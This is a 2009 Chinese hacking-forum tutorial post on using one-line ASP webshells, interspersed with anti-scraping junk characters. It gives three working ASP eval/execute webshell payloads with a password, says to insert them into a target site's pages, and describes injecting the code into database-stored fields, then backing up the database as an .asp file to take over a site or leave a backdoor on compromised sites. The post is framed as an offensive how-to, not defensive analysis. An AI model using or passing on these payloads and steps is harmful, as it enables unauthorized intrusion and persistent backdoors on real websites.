【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: [原创教程] 一句话木马的使用方法视频 [打印本页]

作者: oooooo 时间: 2009-7-3 09:19 标题: 一句话木马的使用方法视频

一句话木马的使用  5 \" F" ~, v- s. ~  ~  r
4 Z( i# P+ r3 e( W2 f2 k$ h
by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~
3 l- [( e- m, Q1 M

1、咱们先弄懂怎么使用的。
% X% W+ u% P1 L5 a
分为客户端和服务端

5 _" a0 u" ^1 S% F8 [2 B
客户端是连接上去的程序，也可以是网页

http://www.3ast.com.cn/tool/yijuhua.html: b% p0 [3 Z& }  \% p4 m$ f; Y, [

服务端就是一段代码，代码里有对应的“密码”+ C' g5 U1 p7 w) V+ U

提供三个服务端:
1. <%eval request("cnnsc")%>
2. <%execute request("cnnsc")%>
3. <%execute(request("cnnsc"))%>
3 ^! }6 b  d) }/ L! @( B* l2 m: U
cnnsc--密码' K4 \. i, C% U0 [6 [

我们只要把这个代码插入到对方网站的网页中就可以了

我演示下，用已经有的一个webshell添加一个asp文件，加上 <%eval request("cnnsc")%>

换一个页面，添加过了。访问的时候一切正常，看链接" @1 d+ J3 m7 L( c- M0 G
' q7 E2 |/ A% j8 f. @- p* c
上传之后

链接上去了5 b4 v( k  [2 j! u) G
OK.这个就是链接的主要过程3 i4 {$ P2 I; N. g5 R3 R

. P! L* x' {) ?0 U" W+ |

2、然后懂得哪里会用上、怎么用: }8 m2 @' J. S  H; S) Y, M2 d) ~* s
2 F# D; b# H3 y! n. D$ ?
(1)有的时候我们进入了XXX的后台，后台有备份数据库，那么我们就可以在系统中插入这个一句话代码，任意地方，比如皮肤名称啊，文章标题啊，只要是会被写进数据库的就可以了，然后备份数据库成一个asp文件（也有php的一句话），然后链接就可以拿下来了1 }: ~" G8 X5 `
# X0 Q# ~* S+ r; t+ h
(2)可以给自己入侵的网站留下后门。。。。% @* ?; g, V6 [2 g! v! S

(3)我再想想。。。哎，想不出，还是要自己多多实践。。。。

好了，教程到此结束，不懂的可以再来问我。。。790653916

作者: EndTo偌枫 时间: 2009-7-3 13:27